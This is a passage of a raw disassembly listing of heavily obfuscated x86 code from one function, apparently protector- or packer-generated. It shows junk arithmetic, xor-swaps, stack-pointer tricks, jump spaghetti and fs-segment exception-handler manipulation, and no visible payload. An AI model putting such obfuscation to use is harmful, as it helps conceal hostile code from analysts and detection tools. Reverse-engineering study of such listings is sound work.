		mov	ebx, [esp-6EB4h+arg_6EAC]
		jmp	loc_5886A2
; ---------------------------------------------------------------------------


loc_588495:				; CODE XREF: sub_581EE9+5104j
		pop	esp
		push	ecx
		jmp	loc_5900E2
; ---------------------------------------------------------------------------


loc_58849C:				; CODE XREF: sub_581EE9+8412j
		sub	esp, 4
		mov	[esp-6EF6h+arg_6EEC+2],	esp
		add	[esp-6EF6h+arg_6EEC+2],	4
		jmp	loc_58DA27
; ---------------------------------------------------------------------------


loc_5884AB:				; CODE XREF: sub_581EE9+3F25j
		xor	ecx, [esp-6EDCh+arg_6ED2+2]
		xor	[esp-6EDCh+arg_6ED2+2],	ecx
		xor	ecx, [esp-6EDCh+arg_6ED2+2]
		jmp	loc_590BD7
; ---------------------------------------------------------------------------


loc_5884B9:				; CODE XREF: sub_581EE9+8852j
		pop	ecx
		push	edx
		mov	dl, 85h
		sub	dl, 3Ah
		sub	bl, dl
		pop	edx
		add	bl, al
		jmp	loc_58E9E4
; ---------------------------------------------------------------------------


loc_5884CA:				; CODE XREF: sub_581EE9+3E60j
		mov	dh, 0EDh
		jmp	loc_591202
; ---------------------------------------------------------------------------


loc_5884D1:				; CODE XREF: sub_581EE9+CA55j
		mov	[esp-6ED4h+arg_6ECA+2],	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_58C920
; ---------------------------------------------------------------------------


loc_5884DC:				; CODE XREF: sub_581EE9+F676j
		add	al, bh
		jmp	loc_58DBFE
; ---------------------------------------------------------------------------


loc_5884E3:				; CODE XREF: sub_581EE9+CF21j
		mov	ecx, 4DD944C4h
		sub	[esp-6ED0h+arg_6ECA+2],	ecx
		push	[esp-6ED0h+arg_6EC6+2]
		pop	ecx
		add	esp, 4
		jmp	loc_588C33
; ---------------------------------------------------------------------------


loc_5884FB:				; CODE XREF: sub_581EE9+DE0Ej
		mov	[esp-6ED4h+arg_6ECA+2],	eax
		mov	eax, esp
		push	0A90h
		jmp	loc_586010
; ---------------------------------------------------------------------------


loc_58850A:				; CODE XREF: sub_581EE9+815Dj
		pop	ecx
		mov	dx, word ptr [esp-6ED4h+arg_6ECA+2]
		jmp	loc_5890D8
; ---------------------------------------------------------------------------


loc_588514:				; CODE XREF: sub_581EE9+F060j
		add	esp, 4
		and	eax, edi
		jmp	loc_587F10
; ---------------------------------------------------------------------------


loc_58851E:				; CODE XREF: sub_581EE9+4773j
		sub	al, 3Dh
		add	al, 16h
		add	al, bl
		sub	al, 16h
		add	al, 3Dh
		mov	ebx, [esp-6F02h+arg_6EFA]
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_5901C9
; ---------------------------------------------------------------------------


loc_588534:				; CODE XREF: sub_581EE9+E397j
		xchg	edx, [esp-6EFAh+arg_6EF0+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6EFAh+arg_6EF0+2],	ebp
		push	1
		push	[esp-6EF6h+arg_6EEC+2]
		pop	ebp
		push	edi
		jmp	loc_586B22
; ---------------------------------------------------------------------------


loc_588550:				; CODE XREF: sub_581EE9+DF60j
		add	ecx, 2
		xchg	ecx, [esp-6EF2h+arg_6EE8+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6EF2h+arg_6EE8+2],	edx
		mov	dl, 9Bh
		add	al, dl
		pop	edx
		jmp	loc_586E45
; ---------------------------------------------------------------------------


loc_58856A:				; CODE XREF: sub_581EE9+DA71j
		sub	ebp, 4
		jmp	loc_58D297
; ---------------------------------------------------------------------------


loc_588575:				; CODE XREF: sub_581EE9+B989j
		mov	[esp-6EF6h+arg_6EEC+2],	esp
		add	[esp-6EF6h+arg_6EEC+2],	4
		pop	edx
		push	ebx
		mov	ebx, 625D7E9Dh
		neg	ebx
		jmp	loc_588920
; ---------------------------------------------------------------------------


loc_58858A:				; CODE XREF: sub_581EE9+46DAj
		sub	edx, 1D034B8Dh
		push	ebx
		mov	ebx, 68E00FE5h
		sub	edx, ebx
		push	[esp-6ED6h+arg_6ECE]
		pop	ebx
		jmp	loc_59098E
; ---------------------------------------------------------------------------


loc_5885A1:				; CODE XREF: sub_581EE9+4319j
		mov	eax, 20h
		add	eax, edi
		xor	dword ptr [eax], 2A981D88h
		mov	eax, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		push	4AB6h
		jmp	loc_586719
; ---------------------------------------------------------------------------


loc_5885C1:				; CODE XREF: sub_581EE9+EC05j
		pop	[esp-6EC2h+arg_6EBA]
		pop	esp
		movzx	ecx, al
		push	esi
		jmp	loc_58E328
; ---------------------------------------------------------------------------


loc_5885CE:				; CODE XREF: sub_581EE9+B184j
		mov	edi, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		add	esp, 4
		jmp	loc_58FF65
; ---------------------------------------------------------------------------


loc_5885DC:				; CODE XREF: sub_581EE9+C082j
		dec	byte ptr [esp-6ECEh+arg_6EC6]
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5885E5:				; CODE XREF: sub_581EE9+BD10j
		mov	edi, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		jmp	loc_58CDBA
; ---------------------------------------------------------------------------


loc_5885F0:				; CODE XREF: sub_581EE9+C5B3j
		xor	eax, 7F7DC918h
		push	eax
		pop	dword ptr [edx+38h]
		push	[esp-6ECEh+arg_6EC6]
		pop	eax
		push	edx
		jmp	loc_590A1D
; ---------------------------------------------------------------------------


loc_588603:				; CODE XREF: sub_581EE9+E67Bj
		mov	edx, [esp-6ECAh+arg_6EC2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-6EC6h+arg_6EBE]
		pop	esp
		jmp	loc_58D173
; ---------------------------------------------------------------------------


loc_588621:				; CODE XREF: sub_581EE9+CB97j
		mov	[esp-6ECAh+arg_6EC2], esi
		mov	esi, 40h
		push	esi
		xor	[esp-6EC6h+arg_6EBE], 6683A51h
		pop	edx
		xor	edx, 6683A51h
		mov	esi, [esp-6ECAh+arg_6EC2]
		push	6F3Bh
		mov	[esp-6EC6h+arg_6EBE], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EC6h+arg_6EBE]
		pop	esp
		and	ecx, edx
		jmp	loc_58D2D7
; ---------------------------------------------------------------------------


loc_58865C:				; CODE XREF: sub_581EE9+DF2Dj
		pop	edx
		jmp	loc_590A89
; ---------------------------------------------------------------------------


loc_588662:				; CODE XREF: sub_581EE9+565Cj
		push	esi
		mov	esi, 32D4433Bh
		jmp	loc_58700D
; ---------------------------------------------------------------------------


loc_58866D:				; CODE XREF: sub_581EE9+57EDj
		add	esp, 4
		mov	esi, edi
		push	[esp-6EE4h+arg_6EDC]
		pop	edi
		add	esp, 4
		jmp	loc_58ACEA
; ---------------------------------------------------------------------------


loc_588684:				; CODE XREF: sub_581EE9+A0FDj
		sub	ecx, edx
		xchg	ecx, edx
		jmp	loc_585F18
; ---------------------------------------------------------------------------


loc_58868D:				; CODE XREF: sub_581EE9+ED66j
		or	edi, 1AC004D9h
		shr	edi, 7
		jmp	loc_58E782
; ---------------------------------------------------------------------------


loc_58869B:				; CODE XREF: sub_581EE9+BDB3j
		push	dword ptr [eax]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5886A2:				; CODE XREF: sub_581EE9+65A7j
		add	esp, 4
		push	ebx
		jmp	loc_58A7AD
; ---------------------------------------------------------------------------


loc_5886AB:				; CODE XREF: sub_581EE9+AB42j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp-6EB4h+arg_6EAC]
		jmp	loc_585DE6
; ---------------------------------------------------------------------------


loc_5886C8:				; CODE XREF: sub_581EE9+8009j
		add	esi, 2
		xor	esi, [esp-6EB4h+arg_6EAC]
		xor	[esp-6EB4h+arg_6EAC], esi
		xor	esi, [esp-6EB4h+arg_6EAC]
		mov	esp, [esp-6EB4h+arg_6EAC]
		mov	ax, word ptr [esp-6EB4h+arg_6EAC]
		push	6344h
		mov	[esp-6EB0h+arg_6EA8], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	edi
		jmp	loc_58B6B9
; ---------------------------------------------------------------------------


loc_5886F5:				; CODE XREF: sub_581EE9+84F3j
		pop	ecx
		jmp	loc_590E8F
; ---------------------------------------------------------------------------


loc_5886FB:				; CODE XREF: sub_581EE9+EA88j
		sub	eax, 54C737E5h
		sub	eax, edx
		jmp	loc_58A6AC
; ---------------------------------------------------------------------------


loc_588707:				; CODE XREF: sub_581EE9+BD23j
		push	esi
		jmp	loc_590CE0
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EA8h+arg_6E9E+2]
		push	ecx
		mov	ecx, esp
		push	74B8h
		mov	[esp-6EA0h+arg_6E96+2],	ebp
		mov	ebp, 4
		sub	ecx, 27A842ADh
		jmp	loc_587938
; ---------------------------------------------------------------------------


loc_58872C:				; CODE XREF: sub_581EE9+99F9j
		add	ecx, 0CC0B8B28h
		sub	esi, 1CCC4D1Dh
		sub	esi, ecx
		add	esi, 1CCC4D1Dh
		pop	ecx
		jmp	loc_586D1B
; ---------------------------------------------------------------------------


loc_588746:				; CODE XREF: sub_581EE9+53BEj
		shr	edx, 4
		jmp	loc_58E967
; ---------------------------------------------------------------------------


loc_58874E:				; CODE XREF: sub_581EE9+A713j
		push	[esp-6EC8h+arg_6EBE+2]
		jmp	loc_58AE91
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EC4h+arg_6EBA+2]
		jmp	loc_590AB5
; ---------------------------------------------------------------------------


loc_58875F:				; CODE XREF: sub_581EE9+747Cj
		push	edi
		jmp	loc_5874CB
; ---------------------------------------------------------------------------


loc_588765:				; CODE XREF: sub_581EE9+FC42j
		pop	esi
		jmp	loc_58AC94
; ---------------------------------------------------------------------------


loc_58876B:				; DATA XREF: sub_581EE9+3BBBo
		push	edx
		jmp	loc_58FDAC
; ---------------------------------------------------------------------------


loc_588771:				; CODE XREF: sub_581EE9+6535j
		sub	esp, 2
		mov	word ptr [esp-6E8Ch+arg_6E84], cx
		mov	cl, 0D9h
		push	cx
		mov	cl, 0B4h
		sub	al, cl
		jmp	loc_58AD34
; ---------------------------------------------------------------------------


loc_588788:				; CODE XREF: sub_581EE9+D8C8j
		push	esi
		mov	esi, 177270D1h
		shr	esi, 5
		add	esi, 605347DAh
		shr	esi, 6
		shr	esi, 2
		and	esi, 3F540851h
		sub	esi, 0D3BE0229h
		or	ebx, esi
		jmp	loc_58994F
; ---------------------------------------------------------------------------


loc_5887B0:				; CODE XREF: sub_581EE9+4050j
		sub	ecx, 498F54C6h
		add	ecx, 14532A54h
		pop	ebp
		add	ecx, 4
		sub	esp, 4
		mov	[esp-6ECCh+arg_6EC2+2],	ecx
		jmp	loc_58CA4F
; ---------------------------------------------------------------------------


loc_5887CB:				; CODE XREF: sub_581EE9+ACF2j
		mov	eax, 1B9543E5h
		xor	edi, eax
		pop	eax
		jmp	loc_58EC6A
; ---------------------------------------------------------------------------


loc_5887D8:				; CODE XREF: sub_581EE9+74A3j
		mov	[esp-6ED0h+arg_6EC6+2],	edx
		jmp	loc_589C3A
; ---------------------------------------------------------------------------


loc_5887E0:				; CODE XREF: sub_581EE9+A617j
		sub	ebp, 0B2A4ACDFh
		xor	eax, ebp
		jmp	loc_59037C
; ---------------------------------------------------------------------------


loc_5887ED:				; CODE XREF: sub_581EE9+91C9j
		xor	bh, 13h
		dec	bh
		add	bh, 0C0h
		xor	bh, 3Eh
		push	eax
		mov	al, 94h
		xor	al, 5Ch
		xor	al, 51h
		add	al, 1Fh
		add	al, 0E6h
		add	bh, al
		pop	eax
		jmp	loc_586487
; ---------------------------------------------------------------------------


loc_58880B:				; CODE XREF: sub_581EE9+C5DCj
		shr	ecx, 2
		jmp	loc_58D006
; ---------------------------------------------------------------------------


loc_588813:				; CODE XREF: sub_581EE9+A03Cj
		push	147Ah
		jmp	loc_58A122
; ---------------------------------------------------------------------------


loc_58881D:				; CODE XREF: sub_581EE9+83ABj
		add	bl, dl
		mov	dx, word ptr [esp-6ECCh+arg_6EC2+2]
		add	esp, 2
		add	bl, 9Dh
		jmp	loc_5879B4
; ---------------------------------------------------------------------------


loc_588831:				; CODE XREF: sub_581EE9+9663j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58FCFC
; ---------------------------------------------------------------------------


loc_58883E:				; CODE XREF: sub_581EE9+563Aj
		add	ebp, 8140CC46h
		sub	edi, ebp
		jmp	loc_58E683
; ---------------------------------------------------------------------------


loc_58884B:				; CODE XREF: sub_581EE9+5541j
		mov	[esp-6EB6h+arg_6EAC+2],	edx
		mov	edx, 300F05ECh
		jmp	loc_589391
; ---------------------------------------------------------------------------


loc_588858:				; CODE XREF: sub_581EE9+E095j
		add	ebp, 37BF479Ah
		sub	ebp, edx
		sub	ebp, 37BF479Ah
		jmp	loc_58A074
; ---------------------------------------------------------------------------


loc_58886B:				; CODE XREF: sub_581EE9+E403j
		pop	ecx
		pop	edi
		jmp	loc_5876C1
; ---------------------------------------------------------------------------


loc_588872:				; CODE XREF: sub_581EE9+DE67j
		push	47DF311Ah
		push	[esp-6EBAh+arg_6EB2]
		mov	eax, [esp-6EB6h+arg_6EAC+2]
		add	esp, 4
		push	ebx
		jmp	loc_58E7D3
; ---------------------------------------------------------------------------


loc_588889:				; CODE XREF: sub_581EE9+63B5j
		push	ebx
		mov	ebx, 4AD6097Fh
		sub	[esp-6ECCh+arg_6EC6+2],	ebx
		pop	ebx
		add	[esp-6ED0h+arg_6EC6+2],	eax
		push	5F3Dh
		mov	[esp-6ECCh+arg_6EC2+2],	edi
		mov	edi, 4AD6097Fh
		jmp	loc_5895A5
; ---------------------------------------------------------------------------


loc_5888A9:				; CODE XREF: sub_581EE9+D2DDj
		xor	word ptr [esp-6ECCh+arg_6EC2+2], ax
		pushf
		jmp	loc_58C04E
; ---------------------------------------------------------------------------


loc_5888B3:				; CODE XREF: sub_581EE9+7D5Cj
		sub	esp, 4
		mov	[esp-6EC4h+arg_6EBA+2],	esi
		mov	esi, 39532385h
		push	edx
		jmp	loc_58645A
; ---------------------------------------------------------------------------


loc_5888C7:				; CODE XREF: sub_581EE9+A145j
		pop	edx
		push	ebx
		jmp	loc_591A13
; ---------------------------------------------------------------------------


loc_5888CE:				; CODE XREF: sub_581EE9+E6D2j
		xor	[esp-6EC0h+arg_6EB6+2],	esi
		xor	esi, [esp-6EC0h+arg_6EB6+2]
		pop	esp
		jmp	loc_586C63
; ---------------------------------------------------------------------------


loc_5888DA:				; CODE XREF: sub_581EE9+D5D3j
		mov	[esp-6EC4h+arg_6EBA+2],	ecx
		push	esi
		jmp	loc_58EE3D
; ---------------------------------------------------------------------------


loc_5888E3:				; CODE XREF: sub_581EE9+B407j
		sub	al, 0E3h
		push	cx
		mov	ch, 0Fh
		sub	al, ch
		jmp	loc_589678
; ---------------------------------------------------------------------------


loc_5888F0:				; CODE XREF: sub_581EE9+EB14j
		inc	edi
		shr	edi, 6
		xor	edi, 4B52F5F2h
		and	esi, edi
		jmp	loc_58BA11
; ---------------------------------------------------------------------------


loc_588901:				; CODE XREF: sub_581EE9+E734j
		mov	esi, 4
		sub	edx, 628C373Eh
		add	edx, esi
		push	esi
		mov	esi, 628C373Eh
		add	edx, esi
		pop	esi
		mov	esi, [esp-6EBEh+arg_6EB6]
		push	eax
		jmp	loc_58DEFE
; ---------------------------------------------------------------------------


loc_588920:				; CODE XREF: sub_581EE9+669Cj
		and	ebx, 55151985h
		shl	ebx, 6
		xor	ebx, 40004044h
		add	edx, ebx
		pop	ebx
		push	4C09h
		mov	[esp-6EF6h+arg_6EEC+2],	edi
		mov	edi, 4
		add	edx, 69951355h
		add	edx, edi
		sub	edx, 69951355h
		push	[esp-6EF6h+arg_6EEC+2]
		pop	edi
		add	esp, 4
		xor	edx, [esp-6EFAh+arg_6EF0+2]
		xor	[esp-6EFAh+arg_6EF0+2],	edx
		xor	edx, [esp-6EFAh+arg_6EF0+2]
		jmp	loc_58C2C4
; ---------------------------------------------------------------------------


loc_588962:				; CODE XREF: sub_581EE9+BBA1j
		mov	esi, 384A5986h
		mov	ebp, esi
		pop	esi
		xchg	esi, ebp
		jmp	loc_5866D2
; ---------------------------------------------------------------------------


loc_588971:				; CODE XREF: sub_581EE9+EC35j
		mov	[esp-6EFEh+arg_6EF6], edx
		jmp	loc_590197
; ---------------------------------------------------------------------------


loc_588979:				; CODE XREF: sub_581EE9+F096j
		neg	edx
		xor	edx, 0BD0FFE0Ch
		add	ebp, edx
		mov	edx, [esp-6EFEh+arg_6EF6]
		add	esp, 4
		sub	ebp, esi
		sub	ebp, 75647556h
		add	ebp, 3EAF2574h
		push	[esp-6F02h+arg_6EFA]
		pop	esi
		add	esp, 4
		not	ebp
		jmp	loc_58DDF0
; ---------------------------------------------------------------------------


loc_5889A8:				; CODE XREF: sub_581EE9+F665j
		or	eax, eax
		jz	loc_590207
		push	4458h
		mov	[esp-6F02h+arg_6EFA], ecx
		mov	ecx, 4E251831h
		push	ecx
		not	[esp-6EFEh+arg_6EF6]
		pop	ecx
		push	eax
		mov	eax, 33DC7326h
		xor	ecx, eax
		pop	eax
		not	ecx
		jmp	loc_58AA7B
; ---------------------------------------------------------------------------


loc_5889D2:				; CODE XREF: sub_581EE9+8D23j
		mov	eax, 501415A4h
		xor	ebx, eax
		pop	eax
		add	ebp, ebx
		jmp	loc_590081
; ---------------------------------------------------------------------------


loc_5889E1:				; CODE XREF: sub_581EE9+3EACj
		add	edi, ecx
		sub	edi, 7DA64E9Dh
		pop	ecx
		jmp	loc_586280
; ---------------------------------------------------------------------------


loc_5889EF:				; CODE XREF: sub_581EE9+761Bj
		pop	ecx
		jmp	loc_58EBD0
; ---------------------------------------------------------------------------


loc_5889F5:				; CODE XREF: sub_581EE9+CDB4j
		and	ebp, 662534E5h
		shr	ebp, 2
		neg	ebp
		xor	ebp, 786365BAh
		sub	ebp, 6F76018Eh
		add	esi, ebp
		jmp	loc_58E8FA
; ---------------------------------------------------------------------------


loc_588A13:				; CODE XREF: sub_581EE9+919Cj
		add	ecx, 4
		xchg	ecx, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		xchg	eax, [esp-6EE4h+arg_6EDC]
		pop	esp
		jmp	loc_58F9F7
; ---------------------------------------------------------------------------


loc_588A26:				; CODE XREF: sub_581EE9+A6B3j
		push	esp
		mov	edx, [esp-6EE4h+arg_6EDC]
		add	esp, 4
		add	edx, 4
		push	ebp
		push	edi
		jmp	loc_58F96C
; ---------------------------------------------------------------------------


loc_588A3A:				; CODE XREF: sub_581EE9+8DECj
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		mov	[esp-6EE4h+arg_6EDC], esi
		mov	esi, ebx
		push	esi
		push	ebx
		jmp	loc_59116C
; ---------------------------------------------------------------------------


loc_588A64:				; CODE XREF: sub_581EE9+B226j
		add	ebx, 4
		xchg	ebx, [esp-6EDCh+arg_6ED2+2]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EE0h+arg_6ED6+2],	edx
		push	cx
		mov	cl, 0ACh
		mov	dl, cl
		pop	cx
		jmp	loc_590562
; ---------------------------------------------------------------------------


loc_588A84:				; CODE XREF: sub_581EE9+4783j
		push	eax
		mov	eax, 1A1B3E28h
		inc	eax
		sub	eax, 4B525E09h
		push	edi
		mov	edi, 8F6DEA6Bh
		jmp	loc_58C704
; ---------------------------------------------------------------------------


loc_588A9B:				; CODE XREF: sub_581EE9+C75Fj
		sub	ecx, 45410C9Ch
		sub	ecx, 43A57BB4h
		jmp	loc_58C7DD
; ---------------------------------------------------------------------------


loc_588AAC:				; CODE XREF: sub_581EE9+B2A9j
		push	esi
		push	[esp-6EF2h+arg_6EEC+2]
		mov	esi, [esp]
		add	esp, 4
		pop	[esp-6EF2h+arg_6EE8+2]
		mov	esp, [esp-6EF6h+arg_6EEC+2]
		mov	[esp-6EF6h+arg_6EEC+2],	ecx
		jmp	loc_58E4D2
; ---------------------------------------------------------------------------


loc_588AC5:				; CODE XREF: sub_581EE9+F4CBj
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp-6EFAh+arg_6EF0+2]
		pop	esp


loc_588AD4:				; CODE XREF: sub_581EE9+F852j
		push	376Ah
		mov	[esp-6EFAh+arg_6EF0+2],	ebx
		push	ebx
		mov	ebx, 7EC34158h
		add	[esp-6EF6h+arg_6EF0+2],	7631115h
		add	[esp-6EF6h+arg_6EF0+2],	ebx
		sub	esp, 4
		jmp	loc_58E10C
; ---------------------------------------------------------------------------


loc_588AF9:				; CODE XREF: sub_581EE9+71A8j
		mov	ebx, esp
		push	esi
		mov	esi, 4BBC535Ah
		sub	esi, 11E51369h
		not	esi
		jmp	loc_589CD0
; ---------------------------------------------------------------------------


loc_588B0E:				; CODE XREF: sub_581EE9+B2EFj
		mov	edi, 25EE6F8Ch
		xor	edi, 32F149C5h
		add	edi, 18E00BEDh
		add	edi, 0D000CDCEh
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 7B550B64h
		add	edi, 1
		dec	edi
		sub	esp, 4
		mov	[esp-6EEAh+arg_6EE0+2],	edi
		dec	[esp-6EEAh+arg_6EE0+2]
		pop	edi
		not	edi
		push	edx
		mov	edx, 7D1F7B90h
		add	edi, 4B420EA3h
		sub	edi, edx
		sub	edi, 4B420EA3h
		pop	edx
		add	edi, 0F87486F6h
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_585D2F
; ---------------------------------------------------------------------------


loc_588B63:				; CODE XREF: sub_581EE9+8D8Fj
		pop	ecx
		sub	ecx, 0FFFFFFFFh
		and	ecx, 334A397Fh
		shr	ecx, 6
		add	ecx, 366446FDh
		sub	eax, ecx
		jmp	loc_58831F
; ---------------------------------------------------------------------------


loc_588B7D:				; DATA XREF: sub_581EE9+3C4Fo
		mov	cx, word ptr [esp-6EF2h+arg_6EE8+2]
		jmp	loc_58B820
; ---------------------------------------------------------------------------


loc_588B86:				; CODE XREF: sub_581EE9+E37Ej
		mov	ebp, 66066733h
		jmp	loc_586396
; ---------------------------------------------------------------------------


loc_588B90:				; CODE XREF: sub_581EE9+60CDj
		add	eax, 4
		push	eax
		jmp	loc_590C06
; ---------------------------------------------------------------------------


loc_588B9B:				; CODE XREF: sub_581EE9+9442j
		xor	ebp, edi
		pop	edi
		jmp	loc_590A16
; ---------------------------------------------------------------------------


loc_588BA3:				; CODE XREF: sub_581EE9+F441j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	[esp-6ED2h+arg_6ECA]
		pop	ebp
		add	esp, 4
		add	esp, 4
		jmp	loc_58621E
; ---------------------------------------------------------------------------


loc_588BBF:				; CODE XREF: sub_581EE9+5780j
		pop	ebx
		or	edi, 2B40732Ch
		add	edi, 1
		push	edx
		jmp	loc_58DBBC
; ---------------------------------------------------------------------------


loc_588BCF:				; CODE XREF: sub_581EE9+97F7j
		push	eax
		mov	eax, 2FED0A41h
		jmp	loc_588E37
; ---------------------------------------------------------------------------


loc_588BDA:				; DATA XREF: sub_581EE9+3D17o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp-6F0Eh+arg_6F06], eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_588BE8:				; CODE XREF: sub_581EE9+7C65j
		pop	bx
		jmp	loc_586827
; ---------------------------------------------------------------------------


loc_588BEF:				; CODE XREF: sub_581EE9+88A2j
		neg	edi
		shl	edi, 8
		push	esi
		jmp	loc_58E0AD
; ---------------------------------------------------------------------------


loc_588BFA:				; CODE XREF: sub_581EE9+E6A7j
		mov	ecx, [esp-6F08h+arg_6EFE+2]
		jmp	loc_58F74E
; ---------------------------------------------------------------------------


loc_588C02:				; CODE XREF: sub_581EE9+6FD9j
		mov	ebp, ecx
		pop	ecx
		add	ebx, 1A782705h
		add	ebx, ebp
		sub	ebx, 1A782705h
		pop	ebp
		add	ebx, 2
		push	ebx
		push	[esp-6F0Ch+arg_6F06+2]
		push	[esp-6F08h+arg_6EFE+2]
		pop	ebx
		jmp	loc_587ADC
; ---------------------------------------------------------------------------


loc_588C28:				; CODE XREF: sub_581EE9+A022j
		mov	ch, bl
		pop	ebx
		mov	edx, [esp-6F0Ch+arg_6F02+2]
		jmp	loc_58E94E
; ---------------------------------------------------------------------------


loc_588C33:				; CODE XREF: sub_581EE9+660Dj
		mov	eax, [esp-6ED4h+arg_6ECA+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6ED0h+arg_6EC6+2]
		pop	esp
		add	eax, 4DD944C4h
		pop	edi
		shl	eax, cl
		jmp	loc_58F274
; ---------------------------------------------------------------------------


loc_588C53:				; CODE XREF: sub_581EE9+851Fj
		push	ebp
		sub	esp, 4
		mov	[esp-6ED0h+arg_6EC6+2],	esp
		add	[esp-6ED0h+arg_6EC6+2],	4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6ED4h+arg_6ECA+2]
		pop	esp


loc_588C72:				; CODE XREF: sub_581EE9+B945j
		push	431Ch
		jmp	loc_58766E
; ---------------------------------------------------------------------------


loc_588C7C:				; CODE XREF: sub_581EE9+8917j
		xor	eax, 0EE2090C5h
		jmp	loc_587C85
; ---------------------------------------------------------------------------


loc_588C86:				; CODE XREF: sub_581EE9+7FFBj
		sub	edx, edi
		pop	edi
		jmp	loc_590536
; ---------------------------------------------------------------------------


loc_588C8E:				; CODE XREF: sub_581EE9+6590j
		xor	ecx, 450C5FFFh
		or	ecx, 56D602EEh
		push	esi
		mov	esi, 6AB32B39h
		jmp	loc_588D38
; ---------------------------------------------------------------------------


loc_588CA5:				; CODE XREF: sub_581EE9+9629j
		mov	ebp, ecx
		pop	ecx
		xor	ebp, 6F045D9Eh
		not	ebp
		add	ebp, 289D5B94h
		sub	ebp, 0F79FE905h
		sub	ebx, ebp
		mov	ebp, [esp-6EACh+arg_6EA4]
		add	esp, 4
		mov	edx, ebx
		mov	ebx, [esp-6EB0h+arg_6EA8]
		push	edi
		mov	edi, esp
		jmp	loc_58DAE0
; ---------------------------------------------------------------------------


loc_588CD1:				; CODE XREF: sub_581EE9+621Fj
		push	ebp
		mov	ebp, 3D754111h
		jmp	loc_59002B
; ---------------------------------------------------------------------------


loc_588CDC:				; CODE XREF: sub_581EE9+BB41j
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-6EBEh+arg_6EB6]
		xor	[esp-6EBEh+arg_6EB6], eax
		xor	eax, [esp-6EBEh+arg_6EB6]
		mov	esp, [esp-6EBEh+arg_6EB6]
		jmp	loc_586A37
; ---------------------------------------------------------------------------


loc_588CFD:				; DATA XREF: sub_581EE9+3BEFo
		mov	cx, word ptr [esp-6EBEh+arg_6EB6]
		push	edx
		push	esp
		push	[esp-6EB6h+arg_6EAC+2]
		pop	edx
		push	ebx
		push	0C6Ah
		jmp	loc_58E4CA
; ---------------------------------------------------------------------------


loc_588D12:				; CODE XREF: sub_581EE9+B349j
		shl	ch, 2
		jmp	loc_58D68A
; ---------------------------------------------------------------------------


loc_588D1A:				; CODE XREF: sub_581EE9+DEF6j
		push	5355h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		push	ebx
		mov	bl, ah
		mov	ch, bl
		mov	ebx, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		jmp	loc_5876B1
; ---------------------------------------------------------------------------


loc_588D32:				; CODE XREF: sub_581EE9+4CCFj
		push	edi
		jmp	loc_587CEF
; ---------------------------------------------------------------------------


loc_588D38:				; CODE XREF: sub_581EE9+6DB7j
		xor	ecx, esi
		pop	esi
		and	ebx, ecx
		pop	ecx
		add	ebx, 0ECC4345Ah
		sub	eax, ebx
		pop	ebx
		jmp	loc_5882D9
; ---------------------------------------------------------------------------


loc_588D4C:				; DATA XREF: sub_581EE9+3CE7o
		pop	dword ptr fs:[edx]
		jmp	loc_58F51B
; ---------------------------------------------------------------------------


loc_588D54:				; DATA XREF: sub_581EE9+3C33o
		movzx	ax, byte ptr fs:[edx]
		push	655h
		mov	[esp-6EB4h+arg_6EAC], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6EB4h+arg_6EAC]
		mov	esp, [esp-6EB4h+arg_6EAC]
		mov	[esp-6EB4h+arg_6EAC], ebp
		push	1741h
		jmp	loc_58B1AF
; ---------------------------------------------------------------------------


loc_588D82:				; CODE XREF: sub_581EE9+9F6Aj
		add	eax, 4
		add	eax, 4
		jmp	loc_58DC19
; ---------------------------------------------------------------------------


loc_588D91:				; CODE XREF: sub_581EE9+4AE8j
		add	al, bl
		pop	ebx
		sub	al, bh
		sub	al, 82h
		mov	bx, word ptr [esp-6ECEh+arg_6EC6]
		jmp	loc_58A848
; ---------------------------------------------------------------------------


loc_588DA1:				; CODE XREF: sub_581EE9+4DA0j
		mov	esi, 669F55AEh
		mov	eax, 6A6B8F50h
		sub	eax, esi
		pop	esi
		xor	eax, 27E94CFAh
		mov	esi, eax
		pop	eax
		push	ecx
		jmp	loc_591643
; ---------------------------------------------------------------------------


loc_588DBC:				; CODE XREF: sub_581EE9+86EDj
		add	edi, 4
		push	0C08h
		mov	[esp-6EC6h+arg_6EBE], ebp
		jmp	loc_58A564
; ---------------------------------------------------------------------------


loc_588DCF:				; CODE XREF: sub_581EE9+CC72j
		xor	edi, 4E662E2Dh
		and	edi, 0B873A24h
		push	ebx
		mov	ebx, 0C6D1289h
